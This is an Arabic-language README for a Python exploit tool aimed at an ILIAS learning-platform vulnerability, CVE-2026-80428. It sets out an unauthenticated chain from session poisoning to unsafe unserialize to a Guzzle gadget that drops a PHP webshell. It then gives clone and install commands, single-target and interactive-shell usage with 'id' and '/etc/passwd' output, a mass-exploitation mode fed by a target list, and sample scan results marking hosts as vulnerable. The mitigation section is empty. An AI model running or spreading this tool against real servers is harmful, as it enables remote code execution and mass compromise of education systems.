CVE-2026-80428

📖 جدول المحتويات

• 🔍 نظرة عامة
• ⚙️ سلسلة الثغرة
• 🎯 الإصدارات المتأثرة
• ✨ الميزات
• 📦 التثبيت
• 🚀 الاستخدام
  • استغلال هدف واحد
  • الصدفة التفاعلية
  • الاستغلال الجماعي
• 📁 تنسيق قائمة الأهداف
• 🖼️ لقطات الشاشة
• 🛡️ التخفيف
• 📢 القنوات والمجتمع
• ⚠️ إخلاء المسؤولية

🔍 نظرة عامة

CVE-2026-80428 هي ثغرة حقن كائنات PHP دون مصادقة حرجة تؤثر على نظام إدارة التعلم ILIAS. من خلال ربط بدائية تسميم الجلسة في ltiauth.php مع استدعاء unserialize() غير آمن في shib_logout.php، يمكن للمهاجم تحقيق كتابة ملفات عشوائية وفي النهاية تنفيذ تعليمات برمجية عن بُعد (RCE) — كل ذلك دون مصادقة.

⚙️ سلسلة الثغرة

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

خطوة بخطوة:

1. يقوم ltiauth.php بتخزين حمولة مُسلسَلة داخل جلسة PHP دون التحقق منها.
2. يعالج shib_logout.php طلب SOAP مُصمَّم من نوع Shibboleth LogoutNotification ويستدعي unserialize() على بيانات الجلسة.
3. يستدعي أداة GuzzleHttp\Cookie\FileCookieJar الدالة file_put_contents() لإسقاط PHP webshell في مسار يتحكم به المهاجم.

🎯 الإصدارات المتأثرة

✨ الميزات

📦 التثبيت

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

المتطلبات:

• Python 3.8+
• requests
• urllib3

🚀 الاستخدام

python3 CVE-2026-80428.py <mode> [options]

📌 استغلال هدف واحد

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

الخيارات:

💻 الصدفة التفاعلية

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 الاستغلال الجماعي

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

الخيارات:

📁 تنسيق قائمة الأهداف

أنشئ ملف targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

الصيغ المدعومة:

• host
• host:port
• http://host
• https://host:port
• host/path (يُزال المسار)

🖼️ لقطات الشاشة

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ التخفيف

للمدافعين ومسؤولي النظام:

📢 القنوات والمجتمع

🌐 انضم إلى المجتمع